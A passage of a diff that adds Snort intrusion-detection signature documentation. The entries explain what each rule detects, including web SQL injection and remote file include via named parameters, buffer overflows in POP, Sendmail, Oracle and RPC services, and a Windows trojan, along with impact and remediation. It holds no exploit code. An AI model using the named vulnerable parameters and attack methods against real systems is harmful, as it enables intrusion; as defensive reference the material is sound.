+100000179
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server using the TRACE command. In this case, the attack 
+is aimed at the Solaris Management Console Java Web Interface.
+
+--
+Impact:
+Possible disclosure of information.
+
+--
+Detailed Information:
+The TRACE method is used when debugging a webserver to ensure that server 
+returns information to the client correctly. When used with other 
+vulnerabilities it is possible to use the TRACE method to return sensitive 
+information from a webserver such as authentication data and cookies.
+
+This is known as a Cross Site Tracing (XST) attack.
+
+Note: Users who are using sid 2056 with the HTTP_PORTS variable set to 898 do 
+not need to use this rule.
+
+--
+Affected Systems:
+All platforms running a webserver that responds to the TRACE method.
+
+--
+Attack Scenarios:
+The attacker needs to perform a TRACE request to a vulnerable server.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+The TRACE method is legitimate and may be used to debug a webserver or can be 
+used to debug other networking equipment.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disable the webserver from responding to TRACE requests.
+
+--
+Contributors:
+Sid 2056 modification suggested by rmkml <rmkml@free.fr>
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+RFC:
+http://www.ietf.org/rfc/rfc2616.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/480.txt
+++ snort-2.8.5.2/doc/signatures/480.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+480
+
+--
+Summary:
+This event is generated when a benevolent ping used by SpeedEra.net to
+find the closest cache to a host is detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+After visiting certain speedera.net sites, several pings will be
+received by the host. These pings are sent so that speedera can find the
+closest cache to the host. This rule is intended to distinguish the
+usually benevolent speedera pings from normal, possibly malevolent pings.
+
+--
+Affected Systems:
+	All systems
+ 
+--
+Attack Scenarios:
+This is not really an attack.  However an attacker could disguise their
+pings as speedera pings, but this is unlikely.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+None required.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Drew Hintz ( http://guh.nu )
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Linux Security:
+http://www.linuxsecurity.com/articles/firewalls_article-2064.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-1.txt
+++ snort-2.8.5.2/doc/signatures/122-1.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-1
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000820.txt
+++ snort-2.8.5.2/doc/signatures/100000820.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+100000820
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "SaPHPLesson" application running on a webserver. Access to the file "add.php" with SQL commands being passed as the "forumid" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "forumid" parameter in the "add.php" script used by the "SaPHPLesson" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SaPHPLesson
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2589.txt
+++ snort-2.8.5.2/doc/signatures/2589.txt
@@ -0,0 +1,93 @@
+Rule:
+
+--
+Sid:
+2589
+
+--
+Summary:
+This event is generated when an attempt is made to return to
+a web client a file in the Content-Disposition Header with a
+Class ID (CLSID) embedded in the file name.
+
+--
+Impact:
+A successful attack may trick a client on a vulnerable host to download
+a malicious file that will be executed by the Windows Shell.
+
+--
+Detailed Information:
+Internet Explorer does not correctly handle or display specially
+crafted files in the browser dialogue where the user choses the
+action (e.g., open, save, cancel) for a downloaded file.
+Specifically, these are overly long file names that employ URL
+encoding of "." %2E before the file extension and contain the
+Class ID (CLSID) associated with the Windows Shell in the file name.
+
+This serves two purposes; the first is that the file name will
+be truncated in the user dialog so the user doesn't see the
+CLSID reference, making it appear to be a more innocuous file
+with a known extension such as mpg or pdf.  Second, the downloaded
+file will actually contain malcious commands that will be
+executed by the Windows Shell when opened because of the hidden
+CLSID in the file name.
+
+Currently, the only known CLSID that exploits this vulnerability
+is associated with the Windows Shell.  Yet, it may be possible
+for another CLSID to be discovered in the future that would be
+associated with a COM component that could be used for malicious
+purposes.
+
+--
+Affected Systems:
+	Windows NT Workstation/Server 4.0 SP6a
+	Windows NT Workstation/Server 4.0 SP6a with Active Desktop
+	Windows NT Server 4.0 Terminal Server Edition SP6
+	Windows 2000 SP2-SP4
+	Windows XP and XP SP1
+	Windows XP 64-Bit Edition SP1
+	Windows XP 64-Bit Edition Version 2003
+	Windows Server 2003
+	Windows Server 2003 64-Bit Edition
+
+--
+Attack Scenarios:
+An attacker can entice a user to visit a web server that
+will return a malicious file with a file name that contains
+a CLSID, perhaps enabling the execution of the malicious
+code when the file is opened.
+
+--
+Ease of Attack:
+Simple. Exploit code is publicly available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0420
+
+Bugtraq:
+http://www.securityfocus.com/bid/9510
+
+Other:
+http://www.microsoft.com/technet/security/bulletin/ms04-024.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2108.txt
+++ snort-2.8.5.2/doc/signatures/2108.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2108
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow condition in the Post Office Protocol (POP) command CAPA.
+
+--
+Impact:
+Possible remote execution of arbitrary code leading to a remote root 
+compromise.
+
+--
+Detailed Information:
+A vulnerability exists such that an attacker may overflow a buffer by
+sending multiple line feed characters to a POP server via the CAPA command.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ZVON RFC Reference:
+http://www.zvon.org/tmRFC/RFC2449/Output/chapter5.html
+
+Gordano Knowledge Base:
+http://www.ntmail.co.uk/kb.htm?q=981
+
+ZVON RFC Reference:
+http://www.zvon.org/tmRFC/RFC2449/Output/chapter6.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1981.txt
+++ snort-2.8.5.2/doc/signatures/1981.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1981
+
+--
+Summary:
+Deepthroat is a Trojan Horse offering the attacker control of the target.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to. This Trojan also has the ability to delete data, steal passwords and disable the machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Deepthroat sever to programs normally started on boot.
+
+See also rules with sids 195, 1980, 1981, 1982 and 1983.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan. Once compromised, this Trojan grants the attacker the ability to almost completely control the target.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Systemtray
+
+Removal of the files pddt.dat and systray.exe from the Windows system directory is required.
+
+Ending the process systray.exe is also necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS106
+
+Symantec Security Response
+http://securityresponse.symantec.com/avcenter/venc/data/deepthroat.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000390.txt
+++ snort-2.8.5.2/doc/signatures/100000390.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000390
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "vacadmb.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "vacadmb.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000319.txt
+++ snort-2.8.5.2/doc/signatures/100000319.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000319
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ActualScripts" application running on a 
+webserver. Access to the file "direct.php" using a remote file being passed as 
+the "rf" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "rf" parameter in the "direct.php" script used by the 
+"ActualScripts" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ActualScripts
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2266.txt
+++ snort-2.8.5.2/doc/signatures/2266.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2266
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1503.txt
+++ snort-2.8.5.2/doc/signatures/1503.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1503
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000452.txt
+++ snort-2.8.5.2/doc/signatures/100000452.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000452
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "KAPhotoservice" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "albumid" parameter in the "album.asp" script 
+used by the "KAPhotoservice" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using KAPhotoservice
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2709.txt
+++ snort-2.8.5.2/doc/signatures/2709.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2709
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_instantiation
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1684.txt
+++ snort-2.8.5.2/doc/signatures/1684.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1684
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1891.txt
+++ snort-2.8.5.2/doc/signatures/1891.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+1891
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an
+unvalidated format string error associated the with Remote Procedure
+Call (RPC) statd.
+
+--
+Impact:
+Remote root access. If successful, this exploit allows execution of
+arbitrary commands as root.
+
+--
+Detailed Information:
+The statd RPC services implements a component of the Network File System
+(NFS) known as the Network Status and Monitor protocol.  A vulnerability
+exists due to improper format string checking that allows arbitrary code
+to be executed with the privileges of statd, usually root.
+
+--
+Affected Systems:
+	Conectiva Linux 4.0, 4.0, 4.1, 4.2, 5.0, 5.1
+	Debian Linux 2.2, 2.3
+	RedHat Linux 6.0, 6.1, 6.2
+	RedHat nfs-utils-0.1.6-2.i386.rpm + RedHat Linux 6.2
+	SuSE Linux 6.3, 6.4, 7.0
+	Trustix Secure Linux 1.0, 1.1
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where statd
+runs and send the exploit to the statd port. If the portmapper port is
+blocked, the attacker may send the exploit to any listening port in the
+range associated with RPC services.
+
+--
+Ease of Attack:
+Simple. Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000380.txt
+++ snort-2.8.5.2/doc/signatures/100000380.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000380
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_smilies.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_smilies.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2851.txt
+++ snort-2.8.5.2/doc/signatures/2851.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2851
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure create_snapshot_repobject
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1965.txt
+++ snort-2.8.5.2/doc/signatures/1965.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1965
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) ToolTalk.
+
+--
+Impact:
+Remote root access. This attack may permit the execution of arbitrary
+commands with the privileges of root.
+
+--
+Detailed Information:
+The ttdbserverd RPC service, more commonly known as the ToolTalk
+database server, allows applications to communicate in the Common
+Desktop Environment (CDE).  The ToolTalk service receives ToolTalk
+messages created and sent by applications and delivers them to the
+appropriate recipient applications.  The ToolTalk database server is
+enabled by default on hosts with CDE.  A function in the code receives
+an argument for a pathname.  If an overly long pathname is passed to the
+function, a buffer overflow may occur, possibly allowing the execution
+of arbitrary commands with the privileges of root.
+
+--
+Affected Systems:
+	HP HP-UX 10.10, 10.20, 10.30, 11.0
+	IBM AIX 4.1, 4.1.1, 4.1.2, 4.1.3, 4.1.4, 4.1.5, 4.2, 4.2.1, 4.3
+	SGI IRIX 5.2, 5.3, 6.0, 6.0.1, 6.2, 6.3, 6.4
+	Sun Solaris 1.1, 1.1.1, 1.1.2, 1.1.3, 1.1.4, 1.2, 2.0, 2.1, 2.2, 2.3,
+	2.4, 2.5, 2.5.1, 2.6
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where
+ttdbserverd runs.  Alternately, an attacker may attempt to execute the
+exploit code on any listening port in the RPC range if the portmapper is
+blocked.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/709.txt
+++ snort-2.8.5.2/doc/signatures/709.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+709
+
+--
+Summary:
+This event is generated after an attempted login to a telnet server 
+using the username 4Dgifts.
+
+--
+Impact:
+Unauthorized remote access.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to login to a server
+using the username 4Dgifts via Telnet. This is a default account on some
